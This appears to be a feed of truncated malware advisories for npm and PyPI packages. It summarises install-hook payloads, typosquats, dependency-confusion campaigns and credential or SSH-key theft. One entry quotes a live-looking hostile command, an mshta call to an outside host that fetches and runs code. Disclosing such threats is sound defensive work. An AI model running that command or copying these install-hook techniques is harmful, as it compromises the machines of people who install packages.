Malicious code in aillmgen (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5b303e830a204ad1ee237f0403a2844f5dce96fa3e3841392ce92d7f3f502341 On npm install, the package's preinstall hook preinstall.js runs exec'cmd /c "mshta http://fixars.top"', invoking the Windows mshta.exe binary to fet...

Malicious code in npm-sandbox-research-9c4e (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 24c86d7d2179375f642423fc8c38f58f5740b543bacab149ba8d4cbdcd7dc4cf On install, package.json runs node run.js via a postinstall lifecycle hook. The package ships beacon scripts beacon9.js, beaconlinux.js that import...

Malicious code in anthropickit (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f3e103a8a230b5fb3066fb0a9eb7f5fdf5831d4c7b71a9d83de54d8d6673eae2 On pip install, setup.py collects the contents of every file in /.ssh excluding knownhosts and authorizedkeys, so private keys are read, all...

Malicious code in india-map-react (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a1de9d093e23698e3ad3f0336a7619bd43049d1f62b822744733a48060b51a4a package.json declares a postinstall hook that runs curl -skL...

Malicious code in exodus-solana-sdk (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ecffe98bff5e1c4655631cf8f92b1b1ccb534e0eeaa7043fab0d5fa1fbfabc35 Package name impersonates the Exodus cryptocurrency wallet brand exodus-solana-sdk. package.json declares a postinstall hook node src/canary.js that...

Malicious code in autotel-mcp (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f2bbb2ac2e6e954090b85e740a9a10a8267429800107690dfbde310c0b3d9fc7 Pattern-based matches fired on the strings 'ping' and 'POST' co-occurring in the package's bundled output dist/index.cjs, dist/index.js,...

Malicious code in eslint-plugin-executable-stories-vitest (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 37cda64660196ba2834eebfa1c7c1debc8367bb89d9b953d1c01fa0c5b722e7a The package was found to contain malicious code or consuming dependency that contains malicious code Source: google-open-source-security...

Malicious code in @forjacms/sections (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1c21dd7e7453f68aa7240f5ec40de3a37683b0a9655d0218a094c528e042766f The package was found to contain malicious code or consuming dependency that contains malicious code Source: google-open-source-security...

Malicious code in autotel-plugins (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 54f7a26d9e1681241d44bb8a37e06156508af068e0f594ae58ce4ed3a2caa94c The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

Malicious code in obfuscation (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: kam193 9a6d747918a89b433d6b670595d6b8d3049f49a69762c3e483d4f0f9dbeb81a3 During installation, the code tamper with security settings and downloads and executes malicious executable. --- Category: MALICIOUS - The campaign has clearly...

Malicious code in @cloudplatform-single-spa/notification-gateway (npm)

Part of a dependency confusion attack campaign targeting the @cloudplatform-single-spa and @mlspace npm scopes. The attacker npm user mr.4nd3r50n published 139 scoped packages at the inflated version 99.99.99, which resolves ahead of any private registry version via npm's default version...

Malicious code in @cloudplatform-single-spa/ml-inference-comfy-run (npm)

Part of a dependency confusion attack campaign targeting the @cloudplatform-single-spa and @mlspace npm scopes. The attacker npm user mr.4nd3r50n published 139 scoped packages at the inflated version 99.99.99, which resolves ahead of any private registry version via npm's default version...

Malicious code in @debit-ib/mobile-debit-ib-additional-card-form (npm)

Part of a dependency confusion attack campaign targeting the @car-loans, @fb-deposit, and @debit-ib npm scopes. The attacker npm user pik-libs published 25 scoped packages at the inflated version 99.99.99, which resolves ahead of any private registry version via npm's default version resolution,...

Malicious code in @cloudplatform-single-spa/datagrid (npm)

Part of a dependency confusion attack campaign targeting the @cloudplatform-single-spa and @mlspace npm scopes. The attacker npm user mr.4nd3r50n published 139 scoped packages at the inflated version 99.99.99, which resolves ahead of any private registry version via npm's default version...

Malicious code in @cloudplatform-single-spa/ssh-keys (npm)

Part of a dependency confusion attack campaign targeting the @cloudplatform-single-spa and @mlspace npm scopes. The attacker npm user mr.4nd3r50n published 139 scoped packages at the inflated version 99.99.99, which resolves ahead of any private registry version via npm's default version...

Malicious code in verify-mycommand (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2f94ffb54a2471d0cc94ce1ea88f741e034221a374f17bfadbd609cb22f14f24 On npm install, postinstall.js executes whoami and id, collects host identity hostname, platform, cwd and CI metadata CI, GITHUBREPOSITORY, NODEENV...

Malicious code in @tailwind-core/oxide-linux-x64-gnu (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a107a0746f2f5159d661e4d332eac53f871b9d22f80caf5863bdd713e252ae00 The package name '@tailwind-core/oxide-linux-x64-gnu' impersonates the legitimate Tailwind CSS v4 oxide engine package...

Malicious code in @antv/x6-angular-shape (npm)

Part of the Mini Shai-Hulud supply chain attack campaign in which a threat actor compromised the npm account atool and published 631 malicious versions across 314 npm packages in an automated 22-minute burst. Each malicious version injects a preinstall hook that executes a 498KB obfuscated Bun...

Malicious code in jest-date-mock (npm)

Part of the Mini Shai-Hulud supply chain attack campaign in which a threat actor compromised the npm account atool and published 631 malicious versions across 314 npm packages in an automated 22-minute burst. Each malicious version injects a preinstall hook that executes a 498KB obfuscated Bun...

Malicious code in rich-util (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: kam193 cc191d72f2f92d966897d0f635b53afecd9a62e8b63de13fff125a00377fcb63 Package installs persistent malware acting as Rat, with the focus of stealing data and modifying copied cryptowallet addresses. --- Category: MALICIOUS - The...

Malicious code in ms-graph-types (npm)

Two malicious npm packages published by the micresoft account typosquatting "microsoft" are part of a coordinated supply chain attack sharing identical infrastructure with packages published by the superbase account. Each package bundles a 4.5 MB statically-linked, UPX-packed ELF binary at...

Malicious code in testctfproject3 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ac5d94cd8502eef9cfde3cf2cf891a6188172c6df1a8bcc20806c7ba15b7855d The package testctfproject3 was found to contain malicious code...

Malicious code in dotenv-safe-nconf-gemini-vortex (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8cdbfcb6b83ef7147b4041123d4274295e736f9b5059e57e55db63cc993bb9d6 This package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts auto.js,...

Malicious code in @sellerly-kit/checkbox (npm)

The package @sellerly-kit/checkbox was found to contain malicious code...

Malicious code in solara-upgrade (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware d11917059b5c9bae62b045f1b86da3912936d28e6568bc30ec686779c22da807 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in pushping (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: checkmarx 10f414a9aeccb6c406935c0aeaf41a5a20f1d6510da7ef25225687fc8a78e8e1 EsqueleSquad group published nearly 6000 malicious PyPi and NPM packages, executing spyware and information-stealing malware...

Malicious code in launchdarkly (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 92af8d393575a722d983614472a08ec173536096867250527f061ffd7f02b67c Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in @vallensofficial/baileys (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 02adc12975b9798883d78640d5cab1a73420818d23fbd192ebb76a384f056d54 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

Malicious code in @umschool/analytics (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector da14c2843514d3c9103335648bc81a8bce18fc173b27c2ab39ebe2c6c0abe028 @umschool/[email protected] targets the internal @umschool npm scope with an implausibly high version number to force resolution over any private...

Malicious code in i18nexus (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 37d8dfb4ceaec110414441ebad5da37dad342ef653a20499504385d9db1ffdac Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in op-ts-server-core (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 10907c74bd3094d2b21cc247498cb53b280d3e6bdb6947b86f17bee73b8eec7f The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

Malicious code in blueai-cli (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector fa623814be7289a45580d8333138d25b98458b558fbe67c447294944723ec844 package.json declares "preinstall": "bun run index.js", causing npm install to execute a 499KB obfuscator.io-style file via the Bun runtime. index.js...

Malicious code in dbt-sa-cli (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9a3fc52d1baa65bd51dd9659641f0df237ea2a595358cd91b19fd8988ba3236a setup.py defines rcepoc and invokes it at module top level, so the code runs unconditionally during pip install dbt-sa-cli. The function collects...

Malicious code in houdus (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6f1c6df3b6cf8e44eceecfcd1aa44ee0301e8921b0c5294560c0031c0b17b6e6 The package advertises random-number helpers but its generator.py side-loads houdus/assests/ssd.wav as Python via importlib.util.specfromfilelocation...

Malicious code in timeweave (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6c6450b478521f96973a556306ed36a1430407373bb1331e051faec0266e1e0d The package presents itself as a timezone/IANA cache utility but ships a manifest-driven Windows code-execution channel. updater.py defines...

Malicious code in @modss/baileys (npm)

@modss/baileys is a renamed fork of the Baileys WhatsApp Web library published 2026-09-01 and 2026-09-02 under a scope created the same day. lib/Socket/newsletter.js sets NEWSLETTERLISTURL to https://raw.githubusercontent.com/Dayyy-19/Anu/main/Newsletter.json. On every connection.update with...

Malicious code in ordered-kv-index (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 55d622b138793a2b659f171c3420c5c66df969939d4e3be8c7d4099e4f4fd48f The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

Malicious code in @stellarshift/chain-metadata (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 932d9a57667edad733439fadfc1754573429369cb8e65fe094c7bed1ed81c5e6 The package's postinstall lifecycle script fetches and executes arbitrary code from a remote URL that is stored XOR-encoded in endpoint-registry.json...

Malicious code in cminhouse-api-gateway-nodejs (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c42971bbb30a4cb0a1da27be3953339fdbda449e4d10e997aac72212df0a8b1d index.js is wired as the package's postinstall script and also runs on require via main. After skipping CI/test/Docker environments guards on...

Malicious code in chromatitle-dev (npm)

The package 'chromatitle-dev' was identified as containing malicious obfuscated code. In src/utils/bootstrap.js, there is base64 encoded URL. --- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b720b488c4ac40cc60b8a514f2d16bf2858c4b501171816d38597aba076fe941...

Malicious code in @yane88/listary-01 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector dfd784784bedda93c768e67f6604062febe7761cb1ff3b1fb2178ad075aef10d The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

Malicious code in @yane88/workbuddy (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 00baaa53d63c0bababb9db20aa5e86149da604834a5761b827edd2f936178c91 At npm install time, @yane88/[email protected]'s postinstall script pulls three sibling npm packages @yane88/workbuddy-01, -02, -03, each shipping a...

Malicious code in kisama-js (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0179b9fe97920f04431eb6d6e94b46c6ef2889af5e55d6a0b79793097187fed3 [email protected] ships an obfuscated index.js that runs an HTTP+WebSocket agent binding 0.0.0.0:8000 by default and exposing /api/exec POST for shell...

Malicious code in pyservercheck (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d10f01e2954dde5faac23074d02bb989f22d0dcb78be82c1c4417531fef8b859 The package ships a bundled Node script pyservercheck/js/main.js whose visible top half is a healthcheck stub matching the README, followed by a long...

Malicious code in originaldevelopmentstelemetry (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 60940a80ca72863b54a3cc8f1cc7da49be77b38e9111d4cb77cfc1417671f399 The package is advertised as a telemetry utility but its sole exported function, downloadAndRunClient, downloads updater.hta from...

Malicious code in es6-migrator (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector daeec82833ba2519ba974153de0fb545f6b5c088ed2a8145680ede73c5b0b9b8 The package's declared preinstall script runs beacon.js on npm install. The beacon unconditionally collects installer-side identity fields hostname, ...

Malicious code in vitest-chalk-pro (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4718de971af33ad02b8945e1b981e30d1decbf9c7d1006f37a641cd822156f0e [email protected] declares a postinstall hook node lib/utils/index.js that spawns a detached, silenced child process running...

Malicious code in confluence-create-content (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 011485304eea045bddd134da5fdabfcf9d96acd0f2c78e1800a4c32674a5788c package.json declares a dependency whose key equals the package's own name confluence-create-content and whose value is a bare HTTPS URL,...

Malicious code in 3layerdipstackbndk47 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 348dc9c5c9f9b067e597312e0e8228c5bddb04ca7573801a6ae27ab9809cb520 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

Malicious code in 3layerdipstackbopqb8 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 614e0906aca493e54023a3caa3a89ad220bda7d022c45a111be8ba8a118833db The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...